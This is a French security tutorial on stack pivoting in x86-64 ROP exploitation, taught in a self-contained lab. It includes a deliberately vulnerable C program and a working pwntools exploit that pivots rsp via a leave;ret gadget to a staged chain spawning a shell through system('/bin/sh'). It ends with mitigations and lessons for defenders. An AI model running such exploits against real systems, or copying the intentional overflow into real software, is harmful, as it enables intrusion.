Stack pivoting : relocaliser la chaîne ROP
Quand le débordement dépasse à peine l'adresse de retour, déplacez rsp vers un tampon maîtrisé et exécutez-y la vraie chaîne. Tutoriel pwntools.
Ceci est le dixième tutoriel de l'espace Techniques d'exploitation. Toutes les techniques ROP vues jusqu'ici supposaient assez de place après l'adresse de retour pour disposer la chaîne entière. Souvent, vous ne l'avez pas — le débordement atteint le pointeur de cadre sauvegardé et l'adresse de retour, guère plus. Le stack pivoting est la manœuvre qui corrige cela : rediriger rsp vers un tampon que vous maîtrisez entièrement et y exécuter la vraie chaîne.
Votre propre binaire, labo jetable. Voir les règles du labo.
La contrainte : une chaîne qui ne rentre pas
Imaginez un débordement qui vous permet d'écraser exactement le rbp sauvegardé et l'adresse de retour sauvegardée, et rien de plus — 16 octets de contrôle. C'est suffisant pour sauter une fois, mais une chaîne ret2libc ou execve en demande bien plus. L'idée : utiliser ce saut unique pour déplacer rsp vers une grande région remplie au préalable, où la chaîne complète attend.
tiny overflowécrase le rbp sauvegardé + l'adresse de retourleave ; retmov rsp, rbp — met rsp = tampon préparéstaged chain in .bssla chaîne ROP complète, avec de l'espace à revendreGadgets de pivot
Tout ce qui charge rsp depuis des données contrôlées est un pivot :
| Gadget | Effet | Vous contrôlez rsp via |
|---|---|---|
leave ; ret | mov rsp, rbp ; pop rbp ; ret | le rbp sauvegardé que vous avez écrasé |
pop rsp ; ret | dépile rsp directement | le qword suivant de la pile |
xchg rax, rsp ; ret | échange rax dans rsp | ce que vous avez chargé dans rax |
add rsp, N ; ret | décale dans la pile courante | petits déplacements fixes |
leave ; ret est le plus courant car l'épilogue de presque toutes les fonctions est leave ; ret, et vous avez déjà écrasé le rbp sauvegardé.
La cible
/* vuln.c — la première lecture prépare une chaîne dans .bss ; le second débordement est minuscule. */
#include <unistd.h>
char stage[0x400]; /* grand tampon à adresse fixe (no PIE) */
void vuln(void) {
char buf[64];
read(0, stage, sizeof stage); /* 1) remplit le tampon de préparation */
read(0, buf, 88); /* 2) petit débordement : buf..rbp..ret + un peu */
}
int main(void){ vuln(); return 0; }
gcc -fno-stack-protector -no-pie -O0 -g -o vuln vuln.c
Le premier read nous permet de placer une chaîne complète à l'adresse fixe stage. Le second read déborde juste assez pour fixer le rbp sauvegardé et l'adresse de retour.
L'exploit
Réglez le rbp sauvegardé de sorte qu'après leave le pointeur de pile atterrisse au début de stage, et réglez l'adresse de retour sur un gadget leave ; ret.
# pivot.py
from pwn import *
context.binary = elf = ELF("./vuln")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") # for the real chain
stage = elf.symbols["stage"]
rop = ROP(elf)
leave_ret = rop.find_gadget(["leave", "ret"])[0]
pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]
ret = rop.find_gadget(["ret"])[0]
io = process("./vuln")
# 1) the real chain, placed at `stage`. leave will set rsp = stage,
# then `pop rbp` consumes the first 8 bytes — so lead with padding.
chain = p64(0) # eaten by `pop rbp` in leave
chain += p64(ret) # alignment
chain += p64(pop_rdi) + p64(next(libc.search(b"/bin/sh\x00")))
chain += p64(libc.symbols["system"])
io.send(chain.ljust(0x400, b"\x00"))
# 2) the tiny overflow: 64 buf + saved rbp + return address
payload = b"A" * 64
payload += p64(stage) # saved rbp -> leave sets rsp = stage
payload += p64(leave_ret) # return into `leave ; ret` to pivot
io.send(payload)
io.interactive()
Déroulez le pivot : vuln retourne dans leave ; ret. leave exécute mov rsp, rbp (donc rsp = stage) puis pop rbp (consommant les 8 premiers octets de stage — c'est pourquoi la chaîne commence par du bourrage). Le ret final lit maintenant sa cible depuis stage+8, et la vraie chaîne s'exécute avec les 0x400 octets d'espace complets. (libc.address doit être fixé à partir d'une fuite si l'ASLR est actif ; omis ici par souci de clarté.)
Pivoter deux fois / vers des données fraîchement lues
Une variante courante : pivoter vers une petite zone d'atterrissage dont le seul rôle est d'appeler read de nouveau vers une grande région, puis pivoter une seconde fois vers celle-ci. Les pivots se composent, donc une primitive initiale minuscule peut amorcer un espace illimité.
Réactivez les mitigations
Le stack pivoting est une technique de déplacement, pas un bug, il hérite donc des points de blocage habituels :
| Mitigation | Effet sur le pivot |
|---|---|
| Canari de pile | Le petit débordement traverse quand même le canari — détecté avant le ret |
| PIE + ASLR | L'adresse de stage est aléatoire ; le pivot nécessite d'abord une fuite |
| Shadow stack / CET | Chaque ret (y compris celui du pivot) est vérifié contre la copie fantôme et ne correspond pas, ce qui avorte |
| Données non exécutables (NX) | Sans effet — la destination contient des adresses, pas du code |
La shadow stack est de nouveau décisive : le pivot repose sur un ret lisant une cible choisie par l'attaquant, et la shadow stack de CET est précisément le mécanisme qui rejette un ret dont la cible ne correspond pas à la copie protégée.
Ce que cela enseigne à un défenseur
- Un débordement « trop petit pour être exploité » est un mythe. Seize octets contrôlés suffisent à pivoter vers un tampon préparé ailleurs. Ne minimisez pas la gravité d'un débordement simplement parce que la région immédiatement écrasable est petite.
- Les tampons inscriptibles à adresse fixe aident les attaquants. Une grande variable globale dans un binaire non-PIE est une destination de pivot idéale. Le PIE supprime la moitié « adresse fixe » de ce cadeau.
- L'intégrité de l'arête arrière continue de payer. Les canaris arrêtent l'écrasement initial ; les shadow stacks rejettent le
retdu pivot. Si vous ne pouvez activer qu'une seule nouvelle mitigation sur du code natif, une shadow stack (CET / PAC) casse l'ensemble le plus large de techniques de cette série.
Points clés
- Le stack pivoting relocalise
rspvers un tampon que vous contrôlez, si bien qu'un débordement minuscule peut piloter une chaîne complète préparée ailleurs. leave ; retest le pivot de référence : contrôlez lerbpsauvegardé et vous contrôlezrspaprès l'épilogue.- Faites précéder la chaîne préparée de 8 octets de bourrage pour absorber le
pop rbpà l'intérieur deleave. - Les pivots se composent et héritent des défenses standard ; une shadow stack rejette le
retdu pivot lui-même.
Ensuite : attaques sur les structures de fichiers (FSOP), où la cible n'est ni une adresse de retour ni la GOT, mais un objet FILE auquel le programme fait encore confiance.